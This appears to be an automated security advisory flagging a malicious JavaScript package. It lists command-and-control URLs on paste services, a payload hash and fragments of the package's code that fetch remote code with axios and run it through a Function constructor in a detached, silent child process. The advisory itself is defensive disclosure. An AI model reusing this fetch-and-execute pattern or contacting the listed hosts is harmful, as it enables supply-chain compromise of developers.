GCVE-110-OSM-2026-7645

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. ENTRY index.js (main: index.js) DESTINATION - custom-c2: https://json.extendsclass.com/bin/863e90480800 (primary, deobfuscated) in lib/caller.js - custom-c2: https://jsonkeeper.com/b/XRGF3 (decoded) in lib/caller.js - custom-c2: https://jsonkeeper.com/b/4NAKK (decoded) in lib/caller.js - custom-c2: json.extendsclass.com (deobfuscated) in lib/caller.js - custom-c2: jsonkeeper.com (decoded) in lib/caller.js EXFIL - Fetch and Eval/Exec in lib/caller.js: "axios.get(src, { headers: { [k]: v } })).data.cookie; const handler = new Functi..." - Payload Download from Paste Service in lib/caller.js: "json.extendsclass.com" - Network Request in lib/caller.js: "axios.get(" OBFUSCATION - Global Variable Shadowing in lib/caller.js: "const process = {" - Decoded Base64 Content in lib/caller.js - Decoded Base64 Content in lib/const.js - Decoded Base64 Content in [deobfuscated] lib/caller.js - IOCs Found in Deobfuscated Code in lib/caller.js - recovered 3 urls, 2 domains, 1 _domainCandidates from decoded/deobfuscated content ADDITIONAL FINDINGS - Stealth Background Process Spawning in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" ..." - Shell Command Execution in index.js: "require("child_process")" - Silent Process Execution in index.js: "stdio: "ignore"" - Detached Child Process Payload in index.js: "spawn("node", [script, JSON.stringify(args)], { detached: true" - Dynamic Code Execution in lib/caller.js: "Function.constructor(" - Brand New Package PAYLOAD FILES lib/caller.js INDICATORS (IOCs) - urls: http://192.168.1.42:9200 - payloadFileHash: a8b128d029a13c570d18d2be00d78004ebef96dd5c07c9f44de48197b82c3c52